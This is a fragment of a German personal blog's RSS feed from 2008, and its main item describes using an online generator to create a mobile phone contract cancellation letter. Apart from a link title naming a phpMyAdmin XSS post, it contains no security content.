			<wfw:commentRss>http://www.the-wildcat.de/phpmyadmin-2116-xss-vulnerability/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Einfache Vorlage, Handyvertrag k&#252;ndigen</title>
		<link>http://www.the-wildcat.de/einfache-vorlage-handyvertrag-kuendigen/</link>
		<comments>http://www.the-wildcat.de/einfache-vorlage-handyvertrag-kuendigen/#comments</comments>
		<pubDate>Fri, 02 May 2008 18:58:43 +0000</pubDate>
		<dc:creator>The-Wildcat</dc:creator>
		
		<category><![CDATA[Allgemeines]]></category>

		<category><![CDATA[Handy]]></category>

		<category><![CDATA[Lifestyle]]></category>

		<guid isPermaLink="false">http://www.the-wildcat.de/?p=88</guid>
		<description><![CDATA[Als ich heute meinen alten Handyvertrag k&#252;ndigen wollte, stie&#223; ich wieder auf das altbekannte Problem:
Wo waren noch gleich die Standardk&#252;ndigungsschreiben, der Formbrief, &#8230;. bei der letzten Formatierung wieder verlegt?
Die Vorlagen waren schnell gefunden, nur der Standardk&#252;ndigungstext nicht. Da man ja bekanntlich sehr faul ist   habe ich Mama google bem&#252;ht. Und manchmal ist es [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-89" title="provided by http://flickr.com/photos/recompose/2303691635" src="http://www.the-wildcat.de/wp-content/uploads/2008/05/handy_kuendigung.png" alt="" vspace="100" width="180" height="174" />Als ich heute meinen alten Handyvertrag k&#252;ndigen wollte, stie&#223; ich wieder auf das altbekannte Problem:</p>
<blockquote><p>Wo waren noch gleich die Standardk&#252;ndigungsschreiben, der Formbrief, &#8230;. bei der letzten Formatierung wieder verlegt?</p></blockquote>
<p>Die Vorlagen waren schnell gefunden, nur der Standardk&#252;ndigungstext nicht. Da man ja bekanntlich sehr faul ist  <img src='http://www.the-wildcat.de/wp-includes/images/smilies/icon_biggrin.gif' alt=':-D' class='wp-smiley' /> habe ich Mama google bem&#252;ht. Und manchmal ist es wirklich einfacher als man denkt  <img src='http://www.the-wildcat.de/wp-includes/images/smilies/icon_rolleyes.gif' alt=':roll:' class='wp-smiley' /> <a href="http://www.handy-kuendigung.com/index.php?site=tool" target="_blank">www.handy-kuendigung.com <span id="more-88"></span></a></p>
<p>Ein einfaches Formular:</p>
<ul>
<li>Daten eintippen (wohlgemerkt empfehle ich hier keine echten Daten anzugeben, wer wei&#223; wof&#252;r diese missbraucht werden. Einfach irgendwas ausdenken, lediglich den richtigen Anbieter ausw&#228;hlen)</li>
<li>Den Haken bei &#8220;Ja, ich m&#246;chte f&#252;r meinen neuen Vertrag &#8230;&#8221; wegnehmen</li>
<li>K&#252;ndigung generieren anklicken</li>
<li>K&#252;ndigungsvordruck anzeigen anklicken</li>
<li><span style="color: #ff6600;"><em>Es wird Javascript ben&#246;tigt</em></span></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.the-wildcat.de/einfache-vorlage-handyvertrag-kuendigen/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
